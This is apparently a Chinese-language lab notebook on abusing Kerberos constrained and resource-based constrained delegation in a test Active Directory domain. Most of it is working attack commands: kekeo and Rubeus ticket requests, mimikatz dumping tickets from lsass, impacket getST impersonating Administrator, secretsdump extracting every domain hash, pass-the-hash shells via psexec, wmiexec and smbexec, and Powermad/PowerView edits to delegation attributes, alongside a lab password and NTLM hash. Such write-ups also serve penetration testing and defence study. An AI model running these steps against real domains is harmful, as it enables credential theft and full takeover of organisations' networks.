概述那里我们讲了在约束委派的情况下,服务用户只能获取某个用户(或主机)的服务的ST,所以只能模拟用户访问特定的服务,是无法获取用户的TGT,如果我们能获取到开启了约束委派的服务用户的明文密码或者NTLM Hash,我们就可以伪造S4U请求,进而伪装成服务用户以任意账户的权限申请访问某服务的ST

已经知道服务用户明文的条件下,我们可以用kekeo请求该用户的TGT

https://github.com/gentilkiwi/kekeo/releases/tag/2.2.0-20211214

1
2
tgt::ask /user:svc_sharepoint /domain:test.local /password:Password123!
tgt::ask /user:svc_sharepoint /domain:test.local /rc4:7f939d16a10a8fb0ef49eca637be8a7d

得到服务用户TGT

然后我们可以使用这张TGT通过伪造s4u请求以administrator用户身份请求访问域控的CIFS的ST

拿到了两个TGS

用mimikatz将cifs的票据导入

1
2
3
4
#清空一下
klist purge
klist
kerberos::ptt [email protected]@[email protected]

成功 这里都行 非约束委派那里可能获得的票据确实有问题 具体问题在哪还不清楚 但至少 kokeo 软件拿到的票据能导入认证的

如果我们不知道服务用户的明文和NTLM Hash,但是我们有了服务用户登陆的主机权限(需要本地管理员权限),我们可以用mimikatz直接从内存中把服务用户的TGT dump出来

1
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

sekurlsa::tickets是列出和导出所有会话的Kerberos票据,sekurlsa::ticketskerberos::list不同,sekurlsa是从内存读取,也就是从lsass进程读取,这也就是为什么sekurlsa::tickets /export需要管理员权限的原因。并且sekurlsa::tickets的导出不受密钥限制,sekurlsa可以访问其他会话(用户)的票证。

我们再试一下这种导出的操作 看看是不是跟之前一样还会导入失败

1
2
# 让服务账户在本机登陆一次 不然没有票据 输入下面的命令在输入密码即可 模拟登录
runas /user:test\svc_sharepoint cmd.exe

mimikatz成功导出了 这是我们创建的服务账户

但是还是利用失败

1
tgs::s4u /tgt:[0;25bcdd][email protected] /user:[email protected] /service:cifs/WindowsServerAD.test.local

但是我们还有Rubeus

1
2
3
4
5
6
后续的流程也是 读取到了写入本地 然后访问域控 流程都一样
但是这个有个缺点 就是服务账户必须登录之后不能断开 才能获取到
mimikatz的方法我还是记住吧 后续先用那个mimikatz 不行再用这个
# runas开一个cmd不要关
runas /user:test\svc_sharepoint cmd.exe
Rubeus.exe dump /service:krbtgt /user:svc_sharepoint

右边就是svc_sharepoint的cmd(窗口关了啥就都没了)

1
2
3
# 用这个保存到本地 好复制
Rubeus.exe dump /service:krbtgt /user:svc_sharepoint /nowrap >> ticket.txt
Rubeus.exe ptt /ticket:[base64]

dir \WindowsServerAD.test.local\c$

非约束委派和约束委派Get域控权限

非约束委派拿 shell 很简单 直接

1
2
3
# 当导入了administrator的票据的时候 其实就跟域管没区别了 但是要测试话都试一下吧
Enter-PSSession -ComputerName WindowsServerAD
lsadump::dcsync /domain:test.local /all /csv

约束委派拿 shell

我们都知道TGT的生成是由krbtgt用户加密和签名的,如果我们能委派域上的用户去访问TGS,那么就可以伪造任意用户的TGT了,黄金票据通常情况下我们是用krbtgt的hash来伪造TGT,不过我们通过约束委派也能达到同样的效果。

TGS默认的spn是krbtgt/domain name,我们操作环境是krbtgt/test.local

krbtgt默认是禁用的而且无法启用,所以我们无法使用界面来添加这个SPN。

我们可以使用powershell来添加

这里我来解释一下上面原文作者提到的意思是 我们这个服务账号也就是这个约束委派账号 它默认是没有 krbtgt 权限的 也就是默认被禁用了 但是呢我要利用黄金票据 就得用krbtgt(这个服务账户其实已经有了个 cifs 权限 是我们之前配置的) 我这里无法给这个服务账户委派krbtgt 下面我只会粘贴原作者成功的方法 然后我会利用 cifs 来拿下域控 原作者的方法用分割线隔开


1
2
3
Import-Module ActiveDirectory
$user = Get-ADUser svc_sharepoint
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/test.local") }

:域控默认安装ActiveDirectory,如果没有安装,可以下载dll:下载地址,然后导入就行了:import-module .\Microsoft.ActiveDirectory.Management.dll

上面有个 PowerView.ps1 的地址 这里再放一下吧

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

1
2
3
Import-Module .\PowerView.ps1
Get-DomainUser -TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
Get-ADUser -Filter * -TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,"msds-allowedtodelegateto" | Format-List

我们可以用impacket系列的getST向KDC请求administrator的TGT

1
python getST.py -dc-ip 192.168.0.110 -spn krbtgt/WindowsServerAD.test.local -impersonate Administrator test.local/svc_sharepoint:Password123!

我这里复现失败了 貌似是因为版本过高 导致krbtgt无法被委派出来 这里做记录 各种各样的委派方式 其实有各种各样的方法 如果遇到了直接去搜就行了

这里还是用 cifs 吧

1
python getST.py -dc-ip 192.168.0.110 -spn cifs/WindowsServerAD.test.local -impersonate Administrator test.local/svc_sharepoint:Password123!

ccache 直接 PTC 就行了 这个在我另一个页面写了有 这里搬过来就行了

1
2
3
mimikatz.exe
privilege::debug
kerberos::ptc [email protected]
1
2
misc::cmd
dir \\WindowsServerAD.test.local\c$

wmiexec

1
2
3
4
5
6
set KRB5CCNAME=Administrator@[email protected]
python C:\Users\tony\AppData\Local\Programs\Python\Python313\Scripts\wmiexec.py test.local/[email protected] -k -no-pass

export  KRB5CCNAME=Administrator@[email protected]
/usr/share/doc/python3-impacket/examples/smbexec.py -k -no-pass support.htb/[email protected]
psexec.py -k -no-pass support.htb/[email protected]

这一步执行命令拿下 shell 我并没有成功 主要是目前我用的 cifs 并没有 wmi 服务的访问权限

因为我们拿到的 ST 票据是administrator权限的cifs并没有其他的 仅限此服务

接下来先不按照作者方法来实现了 他的步骤我都打了删除线 下面直接利用cifs来getshell上面已经导入了

导出域控上所有用户以及主机的hash #这个是没问题的 利用的是 smb 或者 cifs 权限来读取域数据库

1
2
set KRB5CCNAME=Administrator@[email protected]
python secretsdump.py  -no-pass -k WindowsServerAD.test.local

这里拿下域控的方法有很多 用一下 PTH 就行了

1
2
3
4
5
mimikatz.exe
privilege::debug
sekurlsa::pth /user:Administrator /domain:test.local /ntlm:2b2ddd54e1f78fab85e7c662f672f30e /run:cmd.exe

PsExec64.exe \\192.168.0.110 cmd

1
2
3
# wmi和smb 也是经典的PTHgetshell的方法 主要是看开了哪个服务
python /opt/impacket/build/scripts-3.12/smbexec.py  -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/[email protected]
python /opt/impacket/build/scripts-3.12/wmiexec.py  -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/[email protected]

win11 不在域内指定 IP 就行

kali 不在域内指定 IP 也可以

win10 在域内 指定主机名就行 因为走的是域控的 dns

此时 我们再做黄金门票是没任何问题的

再次放一下原作者和参考的博客 里面也有防御方式

https://xz.aliyun.com/t/7217

https://www.freebuf.com/articles/network/290860.html

基于资源的约束委派的利用

1
2
3
4
# 先创建机器账户 test:123456
Set-ExecutionPolicy Bypass -Scope Process
import-module .\Powermad.ps1
New-MachineAccount -MachineAccount test -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)

1
2
3
4
5
# 然后设置委派 查sid
import-module .\PowerView.ps1
Get-NetComputer test -Properties objectsid

S-1-5-21-3072663084-364016917-1341370565-9602

1
2
3
4
5
6
7
# 修改FOREST的msds-allowedtoactonbehalfofotheridentity的值
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3072663084-364016917-1341370565-9602)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer FOREST | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

# FOREST为域控主机名
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
$RawBytes = Get-DomainComputer DC -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
$Descriptor.DiscretionaryAcl

BinaryLength       : 36
AceQualifier       : AccessAllowed
IsCallback         : False
OpaqueLength       : 0
AccessMask         : 983551
SecurityIdentifier : S-1-5-21-1677581083-3380853377-188903654-5601
AceType            : AccessAllowed
AceFlags           : None
IsInherited        : False
InheritanceFlags   : None
PropagationFlags   : None
AuditFlags         : None